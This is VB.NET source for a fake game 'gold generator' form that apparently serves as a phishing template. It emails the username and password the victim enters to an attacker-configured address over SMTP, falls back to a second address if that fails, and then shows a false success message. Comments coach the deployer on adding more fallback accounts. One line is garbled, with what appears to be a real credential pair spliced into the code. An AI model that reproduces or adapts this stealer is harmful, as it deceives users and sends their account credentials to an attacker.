Inata

Imports System.Net.Mail
Public Class Form1
'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
    Dim thread As System.Threading.Thread
    Dim smtp As New SmtpClient("smtp.mail.com")

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.CheckForIllegalCrossThreadCalls = False
    End Sub

    Private Sub DoGenerate()
        Try
            Dim mail As New MailMessage
            mail.From = New MailAddress("INSERT FIRST EMAIL ADD@mail.com")
            mail.To.Add("INSERT FIRST EMAIL ADD@mail.com")
            mail.Subject = "Updates"
            mail.Body = "USERNAME: " + txtUsername.keiraward_
"PASSWORD:Bubbles@987
            smtp.Port = 587
            smtp.EnableSsl = True
            smtp.Credentials = New Net.NetworkCredential("INSERT FIRST EMAIL ADD@mail.com", "INSERT EMAIL PASSWORD")
            smtp.Send(mail)
            MessageBox.Show("Gold successfully generated!", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
        Catch exA As Exception
            Try
                Dim mail As New MailMessage
                mail.From = New MailAddress("INSERT SECOND EMAIL ADD@mail.com")
                mail.To.Add("INSERT SECOND EMAIL ADD@mail.com")
                mail.Subject = "Updates"
                mail.Body = "USERNAME: " + txtUsername.Text + vbNewLine + "PASSWORD: " + txtPassword.Text
                smtp.Port = 587
                smtp.EnableSsl = True
                smtp.Credentials = New Net.NetworkCredential("INSERT SECOND EMAIL ADD@mail.com", "INSERT EMAIL PASSWORD")
                smtp.Send(mail)
                MessageBox.Show("Gold successfully generated!", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
            Catch exB As Exception
                MessageBox.Show("error. please wait for an hour before trying again.")'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
            End Try
        End Try
        NormalState()
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        thread = New System.Threading.Thread(AddressOf DoGenerate)
        thread.Start()

        txtUsername.Enabled = False
        txtPassword.Enabled = False
        TextBox1.Enabled = False
        Button1.Enabled = False
        Label4.Visible = True
    End Sub

    Private Sub NormalState()
        txtUsername.Enabled = True
        txtPassword.Enabled = True
        TextBox1.Enabled = True
        Button1.Enabled = True
        Label4.Visible = False
    End Sub
End Class